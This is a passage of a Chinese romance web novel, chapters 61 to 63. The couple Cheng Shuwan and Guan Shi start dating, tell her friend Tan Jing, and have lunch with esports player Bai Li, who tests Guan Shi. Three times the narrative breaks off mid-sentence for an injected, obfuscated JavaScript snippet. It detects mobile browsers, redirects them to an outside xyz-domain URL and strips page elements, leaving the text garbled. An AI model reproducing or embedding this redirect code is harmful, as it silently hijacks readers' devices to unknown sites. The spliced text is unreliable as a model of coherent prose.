“我欠你的。”关时很自然地收拢扣住她,轻轻一带,把程舒晚拉进怀里,“你起过一次头了,要是这话让你说第二遍那我也太不是男人了。而且,怎么说呢。” 他笑了一声,“我这人其实挺传统的,不论如何,终归还是要有一个明明白白的开始。” “这不叫传统,这叫负责。”程舒晚说,“关时。” “嗯。” “昨天忘记说了,”她一手和他十指扣着,一手环抱他的腰背,抬起眼,双眸明亮地望着关时的眼睛,“我也,很喜欢,很喜欢,你。” 关时这张浓烈惹眼的皮囊,在外不知被多少男男女女要联系方式,但他总是那副灿烂又圆滑的样子,如沐春风地把这些人送出几里地,没有任何一个人能走到他的身边。 而他的温柔,包容,撒娇,小心翼翼,此刻,全都只给了她。 他是她的,男朋友了。 是她的家人了。 61. 恋爱 程舒晚难掩内心的波澜,而指缝传来的力道加重,关时看来也没能忍住,垂下眼声音有点哽,重重点头:“……嗯。” 气氛安静片刻,两人都不知道说什么,程舒晚重新埋头,另外起了话题:“你等会吃完饭,去补个觉吧。” “不了,睡不着。”关时脸颊贴着她耳朵,“等会出去走走?我带你看看这边的环境。” “嗯。”程舒晚说。 “那就先去刷牙洗脸,吃早饭。”关时说,但程舒晚并没有要撒手的趋势。 “再抱一会。”她说。 关时笑了笑,“行。” 这话说出来之后程舒晚反而没太好意思抱久,过了会儿就撒开了手,去洗漱台洗漱了。关时靠在吧台边望着她的方向,勾起的嘴角就没下来。 他喜欢的姑娘也喜欢他。 人间至幸。 吃完早饭,程舒晚在门口穿鞋,刚站起来,关时就递来一张卡。 “电梯卡。”他把卡塞进程舒晚的兜里,在智能门锁上摁了几下,“还有指纹,也来录一下。” 程舒晚“哦”了声刚要过去,看着智能门锁,突然想起来。 这是他的婚房。 虽然是未来式的,但毕竟还是他的婚房。 虽然她这段时间借住在此也要进出,但这个门锁应该有钥匙,她拿钥匙的话或许更好,之后也能归还。 虽然指纹录入了也能删……但总觉得意义不大一样。 好像录入指纹,就像是在这套房子,打上了“程舒晚”的痕迹。 不太合适。 程舒晚犹豫了两秒,试探问:“你家里人知道你打算把它当婚房吗?” “知道。”关时说,见她慢腾腾的,于是牵起她的手,捏住拇指摁在门锁上,“我妈不会对我的房产和我的决定指手画脚。” 程舒晚低头,“哦。” 关时回眸看她,“就算她要指手画脚,也是双手双脚支持你来我们家。” 程舒晚有些愕然。 “所以不是‘你家里人’。”关时弯起眼笑,“当然,如果你觉得还不习惯,就慢慢来。” “嗯。”程舒晚点点头,握紧了兜里的电梯卡。 关时,乃至他们一家,对她都有十足的包容心和爱护,让她受宠若惊。 她上辈子一定。 拯救过世界。 按照平日里的安排,这会儿应该快到两人的健身时间,但是关时刚通了宵,就没做什么消耗体能的运动,只是并肩在街上散步,也当做锻炼了。 “这边大部分是新楼,”关时介绍说,“投资不少,不过入住的人口也已经很多了,配套就很齐全。 “那边有一所学校,小学到高中部都涵盖了。那头那个宽棚子看见了吗?是菜场,你要是自己开火做饭可以去那边买菜。 “嗯……过去一个路口有个商城,挺大的,不过现在还早没开门,我带你去林渡公园吧,这个点应该有老头老太乐团在排练,挺有意思的。” 关时闲不下来地说,程舒晚就一搭一搭地应。 他们一起走路的时间并不少,经常一起去网咖,一起从网咖回小区,一起送关星玥去上学,一起接她放学……但毫无目的地闲逛倒是不多,再加上刚刚转换身份,程舒晚不大适应,在大街上走,总有种被全世界围观的心虚感。 她有点紧张地勾住关时的尾指。 关时微微停顿,垂眸笑了,伸手把她整只手握紧。 程舒晚只是僵硬了一下,没缩回去。 关时:“第一次谈恋爱啊?” 程舒晚抬头盯着他,“不行啊。” “我以为你……这么优秀,”关时咳嗽一声,“……追求者很多。” 程舒晚突然想起谭婧同她说过的,大学时跟她告白的路人甲。 回想一下才发现,也不能怪她想不起来,这种情况从小到大其实发生了很多次,只是她都没怎么在意过,学习,排名,游戏,工作,每一件事都更值得她关注。 至于为什么会是关时。 或许,他就是她在叛逆的路上,唯一遇到的同行者吧。 “我比较目中无人。”程舒晚收敛思绪回答道。 关时偷偷笑了。 “你倒是轻车熟路。”程舒晚小声嘀咕,却瞧见他的眼睛猛然睁大。 “你好冤枉人啊叉烧,我怎么就轻车熟路了,初吻都是你的强吻!”关时顿了顿,“两次!” 程舒晚:“……抱歉啊。” 她还真是恶劣。 这个话题程舒晚显然没什么底气,于是飞速地翻到下一页,“你要是真想谈,肯定不缺人。” “那没办法。”关时挑眉笑,“我长那么好看,一般的配不上我。” 程舒晚:“……” “只有你,跟我般配。”关时转过头来,眼里都是笑意。 程舒晚看他得意的样子半晌,忍不住也低头笑了。 “郎才女貌?”她问。 关时点头,“天生一对。” “嗯。”程舒晚点头,这话她爱听。 关时低垂着眼,“叉烧,我很庆幸。 “这么多年过去,我还是,把你,找到了。” 程舒晚愣了愣,握着他的手逐渐收拢,用力得有些颤抖。 “我也是。”她露出笑容。 两人没再说话,牵着手慢慢散步,从街头走到街尾。 人来人往,车去车来。 手中,心里,身旁,都不空落。 吃过午饭,下午关时还有工作要处理先回网咖去,程舒晚待在溪韵庭园录素材——关时昨晚琢磨得没睡觉也没闲着,把电脑在书房安装好了,屏幕外设网络什么的全调试好了,和在直播工作间的时候没什么区别。 也是,毕竟工作间也是关时布置调试的。 当时程舒晚偷偷拍了关时钻桌底下调机箱的照片,现在还躺在相册里没删。 一晃,居然过去了这么长时间。 回想起这两天一系列梦一样的事儿,程舒晚依然觉得不太真实,从电脑前起身去餐台倒了杯水,盯着咖啡角,慢慢回想早上关时在这里告白,确定关系的种种细节。 嗯。 是真的。 程舒晚咬着水杯,二傻子一样乐起来。 以至于谭婧打来电话时,她就是这么个春心泛滥的状态,接起电话笑盈盈地应了一声:“咋了阿婧?” “……”电话那头的谭婧震惊得失去三秒的嘴,如梦初醒地重新捡起来安回脸上,“我草,我本来想问你心情还好不,看起来我不用操心啊?” “啊。”程舒晚清了清嗓子把状态收回来些,“没事,挺好的。” “是啊是啊看出来了。”谭婧说,“你昨晚住林渡那边?” “嗯。”程舒晚说,“这阵子都在这边。” 谭婧长舒一口气,“行,那就好。” 程舒晚隐隐捕捉到哪里不太对劲,“他们找你了?” “没找着我,我都没接。”谭婧犹豫了一下,继续前面的话题,“我更担心你的状态啦。本来我对你家老板吧,不太有信心他能护住你,但能在林渡买房……应该还行。” “……确实。”程舒晚说,“我有做心理准备,但还是挺出乎我意料的。” 谭婧又沉默了。 程舒晚:“喂?婧?” “你不对劲。”谭婧惊恐地说道,“你居然没有炸毛反驳‘什么你家老板’,你不对劲,是不是发生什么不可描述不可打探不可言状的事情了!” “神经,我克苏鲁啊。”程舒晚吐槽,顿了顿,“没什么特别的,因为……不用反驳了。” 谭婧:“……什么东西?” 程舒晚捏了捏耳垂,“我谈恋爱了。” “……”谭婧没反应过来,“你家老板?” 程舒晚:“啊。” “……” 就在程舒晚以为信号不好的时候,听筒里爆发一声巨大的尖叫:“草啊!我家铁树开花了啊!” 程舒晚远离了听筒:“……” 倒也不至于,只是谈个恋爱。 只是谈个恋爱……她抿着嘴,嘴角却忍不住上扬。 “嗯。”她最后没有掩饰自己的笑意,“开花了,开得漫山遍野的。” 谭婧大叫:“我要请你家种花农吃饭,不对,你俩得请我吃饭!我必须得看明白这家伙的嘴脸,记录罪状! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364934|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 种花农,好奇妙的比喻……程舒晚忍不住笑,“你呢?你开花不开花?” 见她突然调转了矛头,刚刚还在嚷嚷的谭婧突然安静几秒,随后说:“可能也要开了,不确定。” “……?”程舒晚一愣,“谁?” “开了再跟你说。”谭婧顾左右而言他,最后舒心地笑了,“你能找到个地方安定,我超开心。” 谭婧深知这位闺蜜和自己不同,她自己有托底,有支柱,她能选择任何她喜欢的事和人,但程舒晚一直以来都在战战兢兢地独自前行,很多时候甚至不愿意麻烦她。 或许现在,这封心锁爱的姑娘开始懂得敞开心扉了。 “嗯。”程舒晚说,“我应该,也是很开心的。” 周五周六照例是双排直播的时间,虽然确定了关系,但是不论是配合还是相处方式都没有什么改变,毕竟,在“程舒晚”认识“关时”之前,“小鬼叉烧”和“二更天”就已经是默契满分的超级游戏搭子了。 神奇的是,这几天程舒晚的直播数一路高歌,直播间在线都能维持在一千来人了,粉丝数量也突破十万。也不好说到底是奇妙的平台推流算法,还是她直播的节目效果渐涨,但或许,她家关老板是个招财吉祥物呢? 再说关时,他还是延续这阵子的忙碌,程舒晚知道他在找投资机会,也着手准备扩大网咖的经营,所以没太粘着他,但可惜,粘人的另有其人—— “在做什么?”关时发消息过来,“我刚从健身房出来,今天你教练问我你这几天为什么没去,我说你出差了。” 现在是早上十点,程舒晚虽然保守起见没有去健身房露面,但依然在家里自主练习。她刚做完最后一组拉伸,擦着汗去喝水,捏着手机回复,“她都私下问过我了,怎么还问你。” 关时:“是啊,她还挺失落的……我们叉烧真是魅力无穷,连健身教练都惦记哦……” 程舒晚笑了,“我给她做了个运动记录程序,应该是帮了她大忙。” 关时发了一串省略号,“……你这也卷?” “我们卷王不会放弃对效率的追求的。”程舒晚诚恳说。 关时发了个大拇指,“跟叉烧打个报告,我下午去开老苏酒吧的股东会,估计得开饭局,晚上自己吃饭,我直播间陪你看比赛。” 今天周二,晚上是狐队的比赛,早在昨天晚上,白狸就告诉她他们已经从海宜飞来朔江了。 关时细细碎碎的“打报告”让程舒晚笑了,打字回道:“你可以不用事事报备的。” “我乐意。”关时说,“你不查岗啊,不担心我出去玩儿?” 程舒晚:“……不好意思,我没有这个习惯,第一次谈恋爱,还没学。” “没关系,不用学。”关时说,“我不会做到让你主动问的。” 程舒晚顶着屏幕上这行字,沉默地咬着嘴唇捧杯子。 “我好像开始无师自通了。”她发信息。 这行字发过去,几秒后关时就拨了电话过来。 “想我了?”他笑。 本来想嘴硬“谁他妈想你”的程舒晚,在听见这把满带笑意的温柔声音后态度猛然就软了,抿唇片刻,诚实道:“嗯。想你了。” “想了就打电话。”关时笑叹一声,声音放轻笑,“我晚上早点过去。” 程舒晚点头,“好。” 关时挂了电话,把车里空调温度调低了点,扭头对上驾驶座,苏新胜看鬼一样的表情。 他略过苏新胜,对后座笑着说:“不好意思,晚上饭局我不能留太晚。” 后座还坐着两个年近三十的青年,都是苏新胜酒吧的合伙人,对他刚刚的通话露出“懂的都懂”的笑,“没事儿关老板,咱早点谈完,早点回去陪女朋友。” 只有苏新胜狠狠地揉了揉自己耳朵,怀疑自己听错,不住看关时,“过哪里去?谁想你?不是,谁?” 关时勾着嘴角,“你不是知道么。” “知道你大爷!”苏新胜指着关时的嘴脸,“我草看你嘚瑟我好难受……你谈了?你谈上了?晚姐?” 关时按下他的手,“开车呢,遵守交通法。” “他喵的你给我滚下车!” 62. 情敌 晚上七点多,狐队和风侠的比赛如期开始。程舒晚买了汽水和零食,窝在椅子里跟直播间的观众一起看比赛。 “小鬼叉烧解说,现在开始!” “别说,比起官方解说,我更喜欢听小鬼姐的直播。” “是啊,虽然没有官方解说那么快嘴,但是一说我就知道牛逼在哪。” 程舒晚吃了块饼干,煞有介事地说:“其实早些年,我的梦想就是当职业选手,或者游戏解说。” “哇!” “后来呢?没当上?” “后来,”程舒晚说,“考上top10了,就去读书了。” “……” “???” “我感觉受到暴击……” “不儿?主播你是说,游戏玩得这么牛逼,你还是top10毕业?” 准确来说是top5……程舒晚没有继续在直播间装逼,笑着把话题重新引回比赛,“我还是给你们解说吧……诶?” 赛事直播的画面里,双方正在bp,狐队这边,白狸和主教练的表情不太乐观,程舒晚也看出来端倪,“白狸bp被针对了,风侠仔细研究过白狸最近几场比赛的风格,选的几个人物都很限制他的发育和生存。” “哇,那很辛苦了……” “狐队加油啊!” 和弹幕的紧张不同,程舒晚依然淡定地吃饼干,还抽空低头看了眼手机,关时还没有说自己什么时候回来,“没关系,白狸没那么容易被针对。再说了,全都押宝在限制白狸身上,倒是有点小看狐队其他人了。” 她说的不错,仅仅是第一局比赛双方就打得异常精彩,风侠处处针对,狐队沉稳细致,攻守交战眼花缭乱。在其他队友的保护和配合下,白狸成功拿到了翻身的资本,突破限制和针对,找到机会打了一波漂亮的反制。 由于程舒晚对狐队的关注和偏爱,直播间的粉丝大多也是跟着站在狐队这边的,这会儿在弹幕上激动得吱哇乱叫。 “太强了,太强了白狸!” “小鬼姐也太了解狐队了,说拦不住就拦不住!” “小鬼姐对白狸是真爱啊!” 等等,什么,停,这话不能乱说啊……程舒晚瞄了眼在线观众,望到礼物榜单上熟悉的名字——点点天时。 好啊,关时那家伙在直播间呢。 “联盟里明星选手就那么几个,能坐到这个位置,心理素质和能力都是非常强的。”程舒晚硬着头皮努力扭转观众们“小鬼叉烧最了解白狸”的印象,“我是觉得白狸很厉害,但仅仅是针对专业素养啊,你们别搞我。” “害羞了。” “绝对害羞了。” “……”程舒晚瞪着眼睛片刻,即刻转移话题,“夜宵CP党呢?我的CP粉呢?快救一下!” “哈哈哈哈男神哥正在扛刀赶来的路上!” 她的直播间观众们似乎很喜欢她在比赛间隙和弹幕闲扯聊笑,在线人数只多不少,程舒晚就这么一边闲聊一边犀利解说和复盘了今天晚上的比赛,最后是打满了五场,比分二比三,狐队险胜。 比赛结束,程舒晚没有其他什么安排,再加上明天要约饭,所以提前预告过要早一点下播,想着凑个整到十点半再下,客厅传来门锁打开的动静,关时回来了。 明明说要早点过来的,这也不早……这个念头还没落下,紧接着书房的门被轻轻推开一半,关时把脸探进来。 程舒晚一顿,对他做了个手势:马上下播。 她的手势浅显易懂,关时肯定看明白了,但他没出去,就倚在门边看着她。程舒晚和弹幕做最后的互动,在跟观众们说“晚安”的时候,他突然动了——伸手来,一手盖住摄像头,一手握着鼠标。 点了“结束直播”。 “……”程舒晚一愣,确定直播已经结束了,这才摘下耳机,“我本来就要下的,这么急帮我点,有话要说?” 她刚刚抬起脸看向关时,只见那高大的人影微微压下来,双手抓着两边扶手把她困在椅子里,垂眸望着她,眼神很平静,像是在酝酿什么。 似有若无的酒精气息擦过鼻尖。 “关时?”程舒晚眨眼,不知为何有些紧张,这场面似乎下一秒就要上演严刑逼供,“……你喝酒了?没事吧?” 关时慢慢撅起嘴。 他松开扶手,拢着程舒晚,很委屈地把头埋在她的肩膀上,“你夸他了。” 呃? 程舒晚一头雾水,往前追溯好一段才反应过来,“哦,我夸白狸?” “你说呢?”关时的声音染着酒精的烟熏火燎,有点沙哑,沉沉的,听得程舒晚心尖痒痒,“他们说你对白狸是,真,爱。” 加重了最后两个字。 “……”程舒晚哭笑不得,“粉丝起哄你怎么也往心里去,你喝的不是酒是醋吧……所以才这么晚回来?” “我给你发消息了。”关时拧着眉抬起眼睛,眉眼间带着酸酸的委屈,“本来,说好了要早点回来,苏新胜那个狗东西,非说要赢三把牌才放我走,输了就喝……我本来就不擅长玩那个,他狗日的还出千,就是看不惯我有对象。我给你发消息,结果你没回,你忙着夸你的白狸呢……还跟那些说屁话的粉丝聊天,你不许跟他们聊天。” “……”程舒晚花了好大的力气才憋住笑,安抚地揉他后脑勺,“好好好,是我不对,我直播没看信息,我罪大恶极……” “你赔罪。”关时说。 “好,你想怎么赔?”程舒晚问,正寻思他到底喝了多少,一抬头却对上关时压下来的眼眸。 带着笑意的,得逞的眼眸。 呃? 还没来得及想明白这个得逞的笑是从哪来的,温热的呼吸已经堵住她的嘴唇,完全没反应过来的牙关被毫不费力地撬开,温柔的,又不容拒绝的舌尖四处温存,宣告自己的领地。 脸和后颈被捧着,切断了所有逃跑的机会。 在被引导着跟随配合的前一个瞬间,程舒晚突然想起来,关时上次喝醉的时候也像现在这样,脑子仿佛离家出走,所有情绪都不上锁似的哗啦啦倒出来。 但隔天他说,他没断片。 都是他妈装的。 草。 卖那么久的惨,就是为了骗一个吻。 好心机的狗啊! 似乎知道松开手就会被打,关时亲了很长时间才起身,手指抹过程舒晚脸上不知道是害羞还是气出来的泛红,笑盈盈的:“债务结清。” 耍流氓的后果就是喜提程舒晚恼羞成怒的巴掌。 第二天一早,程舒晚和关时就一起下楼晨跑了几公里,洗漱完之后才收拾准备出门吃饭。约饭的地点靠近市中心,一家程舒晚和谭婧都赞不绝口的地方菜馆。 关时系上安全带,发动汽车,“等会儿我代玥玥要个白狸的签名可以吗?” 程舒晚听到他精准说出白狸的名字,舌头在嘴里打了个结,“……我没说是他吧?” “很难猜吗?”关时戏谑地瞥了程舒晚一眼,“来打比赛的职业选手……在朔江打的比赛就昨天一场。” 哦。 确实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364935|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “倒是你,遮遮掩掩欲盖弥彰,也不告诉我。”关时笑了下,“我现在都是你对象了,还怕我吃醋?” “那不好说。”程舒晚幽幽道,“某些人会借着吃醋的名头诈骗,我觉得我还是得预防一下,别提前留下话柄。” 关时:“……” 记仇的姑娘。 菜馆在一家大型商场附近,这地方路窄车多,关时绕了两圈都没找到合适的停车位,于是把程舒晚先放在菜馆门口,往商场的地下停车场停。程舒晚一边等关时一边看手机,给白狸发了条消息:“到哪儿了?” 才发过去,不远处传来一声朝气的笑:“早姐姐,这儿呢。” 步行道上走过来一个长相清爽的少年,二十岁出头,穿着潮牌运动装,双手插兜,手腕上吊着两个礼袋。他走近前,把礼袋递过来:“喏,从海宜带的特产,你和你朋友都有份儿。” 程舒晚很久没见这位朋友了,一见面就被他的周到贴心打动,接过礼盒道谢,看出来这是海宜一家老字号的糕点,“恭喜,昨天的比赛很精彩,给我直播间加了不少流量。” 白狸笑起来,露出左边一颗明显的虎牙,“我看过你的直播解说,真的,把加果从解说席上拉下来换你上去都没问题,那家伙只会胡说八道。” 程舒晚笑了笑,“怎么只有你?” 他指了指商场的方向,“灵灵他俩说要去买个什么联名,买完就过来,你朋友呢?” “停车去了。”程舒晚说,“我在这儿等他们,你先进去吧,204包厢,订好的。” “没事儿,”白狸笑说,“也就一会儿功夫……” 他话说到这儿突然消声,随后重新笑起来,凑近程舒晚低声:“左边儿,看见了吗?” 程舒晚从他这奇奇怪怪的模样猜出来他说的是什么,顺着他说的方向瞥了一眼,果然看到了个往这边不断瞅的姑娘,“你粉丝吧。猜猜会不会上来要合影?” 白狸:“包的……喏,来了。” 那粉丝女孩年纪不是很大,双眼亮晶晶的,“你是不是《封神图录》的白狸选手啊?是你吧?我昨天在现场看了你的比赛!” 白狸显然对这种场面轻车熟路,热络笑着跟粉丝打招呼合影。 电竞职业选手大部分没那么会来事儿,像白狸这么活泼会营业还有镜头感的并不多,再加上实力和颜值在线,是联盟里人气断档的那类明星选手。粉丝女孩显然对他很八卦,合照完还要了个签名,随后目光顺带着投向程舒晚,“白狸你在跟女朋友约会吗?” 程舒晚愣了一下,摆手:“不是,朋友而已。” 白狸爽朗地笑了,“嗯,跟朋友吃饭。” “哦……”粉丝女孩显然没有完全相信,眨了眨眼,“姐姐好漂亮,真的不是吗?” 程舒晚汗颜,悄悄环顾四周寻找某个醋王的身影,“真不是。” 在车上还说“别提前留下话柄”,要是现在就让关时看见,她得被调侃爆了。 待到粉丝一步三回头地离开,白狸叹了口气,说:“我天天都被粉丝问是不是在约会,人家只是朋友多。” “啊。”程舒晚看他。 白狸突然笑了,戏谑地对上程舒晚的视线,“如果我真的要找对象,肯定得要有早姐姐这么漂亮又优秀的。” 程舒晚:“……” 她突然感受到后背一凉。 “哦?”关时的声音从后脑勺上方幽幽传来,“那你眼光不错,白狸小哥。” 程舒晚:“……” 狗日的。 家被偷了。 63. 考察 “……你来了。”程舒晚故作镇定地转身。 饭点的大门就在路口的拐角,关时是从拐角后面走过来的,难怪她没看见。他双手插兜,脸上挂着微微的笑,眼里却一点笑影子都没有,落在白狸那张清爽白净的脸上。 白狸不愧是见过大场面的,哪怕说骚话被抓包也完全不怵,笑容从戏谑无缝切换到营业模式:“你好你好,这位哥哥,你是早姐姐的朋友对吧?我叫齐夏,也可以喊我白狸,小白,狸子。” “……朋友?”关时咀嚼着这个称呼,探寻地望向程舒晚。 程舒晚想来是还没来得及跟白狸解释,于是趁着这个机会轻轻咳嗽一声,挽住关时的胳膊。 算是默许了。 关时眼神微动,这才扯开懒洋洋的笑,对白狸一点头:“你好白狸,我常看你的比赛。我叫关时,舒晚的对象。” 白狸的目光在这一秒变得愕然。 关时心情突然好了不少。 “喔……喔,关时哥,你好。”白狸很快缓过神来,但热络的笑容并没有收敛,反而更加灿烂了,“没听早姐姐提过呀,早姐姐,是回朔江之后认识的吗?做什么行业的呀?” “我是开网吧的。”关时垂眸看程舒晚,脸上的笑似有若无,“是回朔江之后认识的吗?” ……问我? 程舒晚自觉一个被两条狗踹来踹去的玩具球,突然被拎了起来,只能硬着头皮转开话题,“认识很多年了。关时,带白狸先上去包厢吧,我再等两个朋友。” 关时扣住她的手腕,“一起上去,要么我跟你一起等。” 白狸低头划拉手机,“那我发包厢号给他们,我们先进去吧,外面这么热。” 关时抬起眼来瞧白狸,从善如流地笑笑,“对啊这么热,刚刚怎么不先带白狸上去呢,等我吗,舒晚?” 程舒晚:“……闭嘴,都闭嘴。” 204包厢是六座圆桌,环境雅致而安静。关时坐在程舒晚身边,白狸坐在二人对面,微微笑着看他们俩商量点菜,偶尔被问到忌口和偏好才应一声,目光带着探究,一直落在关时身上。 眼里有点儿说不出的复杂情绪在暗暗流动。 点完菜,灵灵和阿罗很快也到了。 灵灵是狐战队的防御位首发选手,刚满十八岁的文静姑娘,面颊上有一片雀斑,对程舒晚和关时腼腆地笑着,“早姐姐,好久不见了。” 阿罗是和白狸打九尾狐青行灯体系,让程舒晚和直播间观众打赌的那位老辅助位选手,二十四岁的青年,戴着黑框眼镜,背着个书包,却挂着个兔兔小玩偶,随手递过来一个盲盒,“没带什么礼物,刚刚顺手给你买了个新品,这个系列很可爱。” 程舒晚在经营早早不起早账号期间私下常和他们一起开黑,只是退网之后几乎没有联系过,如今再见忍不住有些感慨,接过礼物,除了“谢谢”之外说不出什么话。 “她一直记得你们。”关时突然说,垂在桌下的手捏了捏程舒晚的手指,“舒晚虽然嘴上不说,但是她特别在乎当初在海宜当主播的那段时光。” 关时自作主张的解释让程舒晚有点被扒开的羞耻,忍不住掐了他一把。 “我们也很想你。”灵灵真诚地说。 阿罗:“我这赛季结束后就要退役了,到时候去你直播间串门儿。” 菜品陆续上齐,大家气氛热络地一边吃饭一边聊天。几个游戏职业选手、游戏主播凑在一起,话题自然就是《封神图录》和昨天晚上的比赛,三人一边把复盘拆给程舒晚和关时听,程舒晚也插嘴讲了几句,精准而犀利,连灵灵都一愣再愣,“教练也说了我这个问题……早姐姐,你这好几年没当主播了,理解还是这么强。” “当初在海宜的时候就该拉你多复盘两次。”白狸说。 “比很多《封神图录》主播都硬核,”阿罗推了推眼镜,附和,“可惜游戏主播吃香的是娱乐主播,技术流的流量都不高,当初阿早也才不到三十万粉丝。” 游播社的流量几乎只局限在游戏领域,百万粉丝为大热门主播分水岭,当初二十几万粉丝的程舒晚也只是一个中小体量的主播。 白狸撑着下巴,目光突然转向关时,“关时哥,你也玩《封神图录》吧?” 关时轻轻点头,“嗯,玩得一般。” 程舒晚不动声色地瞥了他一眼——两人排位已经上到最高的封神境界,关时的积分就比她低几百,再说白狸这种职业选手……虽然他们的水平不在私人账号上体现,但是段位也和她相差不大。 “一般”? 也不知道是自谦还是嘲讽…… 白狸点点头,笑容里多了几分锋芒,“那当初早姐姐怎么没拉你来一起打游戏啊?” 这话微妙得有点不对劲,程舒晚张嘴想接话,关时按住她的手。 他轻描淡写地笑了笑,“那几年我们断联了,也是等到舒晚回来朔江才重新联系起来的。” 白狸拉长声音,“哦……也就是说,那两年……还有后来的几年,你都不在。” 阿罗在桌下用手捅了一下白狸,但他依然没有收回目光,执着地看着关时。 “嗯。”关时不闪不避,“对于这件事,我超级后悔。” 程舒晚被他盖住的手不自觉蜷缩一下。 “……不过,阿早现在的直播比之前的数据好,是吧?”阿罗强行把话题重新拐回来,“直播才不到半年,涨粉已经快十二万了,只要有机会肯定能爆。” “是啊,直播也很有节目效果。”白狸笑盈盈地说着,再次把戏谑的目光投向关时,“‘七年白月光诈尸’……是剧本吗?如果是真的,关时哥不生气?” 以一己之力把话题重新岔到关时身上。 阿罗:“……” 程舒晚手里的瓷勺磕在碗沿上,发出声响,“……白狸。” 这下连钝感力十足的灵灵都察觉到气氛不对了,夹菜的筷子愣在半空,然后偷偷摸摸地缩了回去,左右看着观察脸色。 倒是关时,神色如常地看着白狸,语气不紧不慢,“不生气,也不是剧本。舒晚那个白月光…… “就是我。” 白狸:“……” 他估计没想到挑衅的针嘎巴一下扎自己脑门上了,表情都空白了片刻,“啊……这样啊?” “就是这样。”程舒晚缓和气氛地笑了笑,意有所指地说,“别问了,招待你们的聚餐,老调侃我俩算什么事。” 白狸知道自己的挑衅有点越界,于是把茶杯端起来,“错了错了,我真不开玩笑了,以茶代酒自罚三杯,别介意,早姐姐,关时哥。” “哟,话说那么重。”关时起身拿茶杯和他碰了一下,“大明星这么客气,没少参加酒局啊?三五朋友小聚不用这么隆重,请坐请坐。” 被关时这么一调侃,在场所有人都忍不住笑了,刚刚还微妙的气氛一下回归热络,继续前面游戏的话题。 饭程过半,关时和程舒晚交代了声,先起身去结账。程舒晚这才看向白狸,轻声道:“没提前告诉你们,是我不对。” 阿罗有点慌乱地推推眼镜:“别这么说,狸子也就是惊讶,没有要刁难的意思。” 白狸撑着下巴,脸上的笑有些不是滋味,“早姐姐,你当初被造谣受那么多委屈,他甚至都不在。” “我知道你在替我鸣不平。”程舒晚无奈地笑了,“但我没有不平,真的。信任我吗?” 白狸轻轻噘嘴,“勉为其难,看他表现。” 灵灵看看这边,看看那边,又看看桌上的菜,小声说:“最后这块炸牛奶有人吃吗?没有我吃了。” 阿罗:“……吃吃吃。” 灵灵喜滋滋地把最后一块炸牛奶收入囊中,白狸则笑着站起来,“洗手间。” 程舒晚指了指外面,“左转直走。” 白狸走出门去,路过楼梯,正碰上从前台上来的关时。 “哟。”白狸双手插着兜,嘴角扬起,露出带着虎牙的笑容来,“谢谢关时哥请客,我还没怎么被请客过呢。” 关时靠在扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364936|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上,“下次去海宜,也让你请客。” “那当然,来了肯定要请的。”白狸舔了下嘴唇,“抱歉啊,关时哥,刚才有点冒犯。我……有点不爽。” 他直戳了当地说了。 关时也没藏着掖着,“你喜欢舒晚吗?” 白狸一挑眉头,“好多人问过我这个问题,不过也是,不然当初被造谣的怎么是她和我呢。不过……没有,我没喜欢早姐姐。” 他停顿了下,继续道:“你可能听说过我家里是艺术行业的,打游戏是爱好,我最后的归宿是回家当少爷。说句残酷点的话,就算我真有那个想法,早姐姐的家庭是会被我家里pass的。” 关时点点头,接受了这个客观评价。 “我真的只是很喜欢跟她打游戏,也很喜欢给朋友砸钱。但我家那么有钱有势,当初也没能让早姐姐放心找我帮忙,最后还是她自己一个人抗了。”白狸露出一个灿烂的笑容,非常直白地说,“所以看到你好像可以做到让她放下戒心,说实话,我有点火大。” “谢谢夸奖。”关时很不要脸地接受了这句带刺的夸赞。 白狸奇异地瞅着关时,“……你不生气?” “为什么啊?”关时乐了,“舒晚是你很重要的朋友吧,你对我的态度连针对都谈不上,放在‘考察’这一档都不算严格,这么仁慈,我生什么气。” 这种毫不在意的态度让白狸默然片刻,不甘心地“啧”了声。 “我很感谢,”关时放轻语气,很认真地说,“当时她身边有你们支持。” 白狸眯眼瞧着关时片刻,投降般地叹了口气,“朔江是你们的地儿,你支持她就好,小心我把你网吧收购。” “……收购不行,谈谈合作还可以。”关时说着,从外衣口袋里摸出一块迷你签名板和水笔递过来,“能劳烦签个名吗?我妹很喜欢你。” 白狸看着签名板:“……” 他哭笑不得,但还是十分有营业精神地签了个名,“加个微信,把地址发我吧,我回去之后寄几份物料和全队签名给你。” “好啊。”关时灿烂地笑纳了,“说真的,如果我有什么业务想详谈的话,你能给我引荐一下吗?实不相瞒,除了开网吧,我其实是个独立投资人。” 白狸:“……” 他觉得自己好像真的不用太担心什么。 